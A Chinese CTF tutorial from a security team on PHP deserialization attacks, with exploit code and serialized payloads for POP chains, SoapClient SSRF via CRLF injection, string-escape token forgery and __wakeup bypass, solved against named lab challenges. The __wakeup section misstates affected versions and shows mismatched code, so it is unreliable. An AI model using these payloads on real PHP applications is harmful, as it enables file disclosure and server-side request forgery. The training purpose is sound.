Redian新闻
>
CTF PHP反序列化姿势总结

CTF PHP反序列化姿势总结

科技

前段时间针对自己CTF中Web方向的弱点进行强化训练,并进行了总结,希望能给大家带来一定的帮助
ps:本文只针对常见题型进行总结,未对基础知识进行讲解,对基础知识有需求的师傅,还请自行学习

0x00 对象注入类型

讲解

如果用户的请求在传输给反序列化函数unserialize()之前没有进行相应的过滤会产生漏洞,因为PHP允许对象序列化,攻击者就可以提交特定的序列化字符串给一个具有相应漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象注入漏洞存在的前提条件:
  • unserialize的参数可控
  • 代码里有定义一个含有魔术方法的类,且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数
以上两个前提条件,缺一不可

例题(原创)

ps:因为单独考察的较少,作者直接使用代码对此进行讲解:
<?phpclass A{ var $name = "tide"; function __destruct(){ echo $this->test; }}$a = 'O:1:"A":1:{s:4:"name";s:4:"tide";}';unserialize($a);
在脚本运行后,会调用__destruct函数,同时会覆盖test变量,输出tide。

0x01 POP链构造利用

讲解

序列化攻击最基础的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性名和敏感函数的属性联系起来,这种方法叫POP链构造,也是近几年CTF各大赛事中,PHP反序列化的主要考查方式。

例题([MRCTF2020]Ezpop

首先看一下题

Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); }}
if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);}
首先列出题目中出现的魔术方法
__construct 当一个对象创建时被调用,__toString 当一个对象被当作一个字符串被调用。__wakeup() 使用unserialize时触发__get() 用于从不可访问的属性读取数据#难以访问包括:(1)私有属性,(2)没有初始化的属性__invoke() 当脚本尝试将对象调用为函数时触发
根据代码可知,当使用get方法传入一个pop参数后,Show类__wakeup()魔术方法,__wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法,如果__toString()其中str赋值为一个实例化的Test类,那么其类不包含-source属性,所以会调用Test中的__get()方法,如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用=Modifier类中的_invoke方法,利用文件包含漏洞,使用__invoke读取flag.php的内容
文字描述看起来可能比较繁琐,使用符号表示是这样的
Modifier::__invoke()<--Test::__get()<--Show::__toString()
最终构造payload如下
<?phpclass Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } public function __toString(){ return "karsa"; }}
class Test{ public $p;}
$a = new Show('aaa');$a->str = new Test();$a->str->p = new Modifier();$b = new Show($a);echo urlencode(serialize($b));?>

0x02 PHP原生类反序列化利用

讲解

简介

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClinet可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,采用了SOAP协议(SOAP是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会调用__call方法,具体详细信息,感兴趣的读者可以自行查阅,这里不进行赘述
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS
在多数CTF题目中,会将这两个知识点结合起来考察。

利用讲解

首先在本机上开启端口监听
nc -lvvp 4567
写一段代码
<?php$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:4567'));$b = serialize($a);$c = unserialize($b);$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
运行上述代码,会捕获监听。


从上面这张图可以看到,SOAPAction处使我们的可控参数,因此我们可以尝试在这里注入自己构造的CRLF,即插入**\r\n**
<?php$a = new SoapClient(null,array('location'=>'http://127.0.0.1:4567', 'user_agent'=>"tide\r\nContent-Type:application/x-www-form-urlencoded\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));$b = serialize($a);$c = unserialize($b);$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

可以看到我们利用漏洞构造了User-Agent,且传输了空数据。这表明我们利用成功了。

例题(CTFShow Web259)

题目给出的描述:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);

if($ip!=='127.0.0.1'){ die('error');}else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); }}
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
相关参数都已经给的十分充分了,利用ssrf访问flag.php,然后构造post数据token=ctfshow还有xff请求头,所以构造的payload如下:
<?php $post_string = "token=ctfshow"; $a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"aaaaaa\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa")); $b = serialize($a); echo urlencode($b);
这里X-Forwarded-For里需要两个127.0.0.1是因为docker环境的cloudfare代理导致的。
运行php
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22aaaaaa%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

通过get方式传入vip参数,如图


再访问flag.txt,就能成功拿到flag

0x03 PHP反序列化字符串逃逸

简介

在php反序列化时,底层代码以;作为字段的分隔,以}作为结尾,并根据长度判断内容,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。
字符逃逸漏洞属于PHP反序列化漏洞中的其中一种,漏洞原因是在反序列化某字符属性时,由于长度异常而导致后面注入字符串被正常解析,导致我们构造的恶意字符串逃逸出正常的属性值中,最终在反序列化后恶意修改了类属性。
问题点:
  • 序列化后的字符串经过了替换或修改,导致字符串长度发生变化。
  • 先序列化,再进行替换修改导致。
一般情况下分两种:
  • 替换修改后导致序列化字符串变长,例如,将字符串bb替换成ccc
  • 替换修改后导致序列化字符串变短,例如,将字符串aaa替换成cc

例题讲解(CTFShow Web262)

<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 02:37:19# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 16:05:38# @message.php# @email: h1xa@ctfer.com# @link: https://ctfer.com
*/

error_reporting(0);class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}
$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent';}
highlight_file(__FILE__);
<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 15:13:03# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 15:17:17# @email: h1xa@ctfer.com# @link: https://ctfer.com
*/highlight_file(__FILE__);include('flag.php');
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}
if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; }}
捋一捋逻辑,有一个正则匹配会把传入的序列化内容中的fuck替换为loveU,也就是长度从4变成了5,可以操作的内容增加了一位,而且只要message类中的token值为admin,就会输出flag,所以payload如下:
";s:5:"token";s:5:"admin";}
因为payload长度为27位,因此我们需要输入27个fuck来获取额外的27个长度,来满足我们的payload,所以最终构造的payload如下
?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
发送get请求,如图:


这时再访问message.php就会输出flag



0x04 PHP反序列化杂项

这里之所以写为杂项是因为这些洞使我们所常碰到的,但是由于过于简单且比较细节就将其放到一起进行讲解

php7.1+反序列化对类属性不敏感

众所周知,如果变量前是protected,那么序列化结果会在变量名前加上\x00*\x00
但是在php7.1以上则对类属性不敏感,比如下面的例子即使没有\x00*\x00也仍然会输出tide
<?phpclass test{ protected $a; public function __construct(){ $this->a = 'tide'; } public function __destruct(){ echo $this->a; }}unserialize('O:4:"test":1:{s:1:"a";s:4:"tide";}');

绕过__wakeup(CVE-2016-7124)

当PHP的版本小于5.6.25,大于7.0.10时,会存在此漏洞,利用方法很简单,就是让序列化字符串中表示对象属性个数的值大于真是的属性个数即可绕过__wakeup的执行。

利用

<?phpclass test{ public $name; public $nickname; public function __construct(){ $this->name = 'abc'; $this->nickname= &$this->name; }}$a = serialize(new test());
上面这个例子将$b设置为$a的引用,是$a永远与$b相等。

16进制绕过字符的过滤

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}可以写成O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}表示字符类型的s大写时,会被当成16进制解析。
篇幅有限,总结的题目类型可能不是那么齐全,希望能给想要学习Web反序列化方向的师傅提供一定的帮助。

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们

微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
“建议专家不要建议”上热搜,提建议的正确姿势是?"潮星"在线CTF平台上线啦男女发生关系后,最要命的2种姿势零跑巧夺销冠,姿势却不佳彭博行业研究 | ESG ETF和基于价值的ETF资金流动追踪写字全国汛情形势总体偏重,如何应对?专访水利部副部长刘伟平CTF之mobile入门A Huzhou District Offers Free Study Camp to Attract Talent中国,可以说不吗?解锁玩转投行的正确姿势,分分钟年薪百万!工业化的记忆——南京园博园珺懋傲途格酒店私汤温泉房体验 CAST Nanjing, Autograph Collection如何使用原生 NTFS 驱动替代旧版 FUSE NTFS 驱动 | Linux 中国夏日限定 | 户外露营的一百种姿势,回归自然无定式肯豆切黄瓜诡异姿势被网友各种嘲讽:多有钱才会这样切黄瓜啊??!把灯光烟火秀进行到底!朝鲜2022年4月25日阅兵部队序列肺结节=肺癌癌前病变?得赶紧做PET-CT?低剂量CT=薄层CT?解锁新姿势!美警后入式截停嫌疑汽车,这次用了什么神器电视里这种看上去很假的姿势,居然TM是科学的??你真的会抄底么?抄底的正确姿势深度学习与时间序列预测:来自Kaggle比赛的宝贵经验2岁娃被蚊子叮成植物人?夏天给娃驱蚊的正确姿势比躺平更舒服的姿势复旦提出ObjectFormer,收录CVPR 2022!图像篡改检测新工作!人类基因组中来自病毒的序列有多少?2.4亿对20-21-22,等差序列背后的传奇时代没经大脚丫子踩踏过的酸菜不是好酸菜一日一诗:“万物保持向上的姿势/ 漫长的时光交给了骄阳/ 新的生命熠熠闪亮”||屈松林:立夏(读诗版)赞爆朋友圈!CP感亲子照万能姿势解锁,秒出“大片儿”!College Essay 系列 (十六) :文书主题的选择2022 (1)孝道朋友圈最流行的减肥姿势,原来都是错的资金新动向!多只新能源ETF竟空仓操作,冷门赛道ETF却快速建仓,行情要轮动了?从股票烧到债券!ETF赛道竞争火热,首批政策性金融债ETF获批,有何优势?初识Java反序列化
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。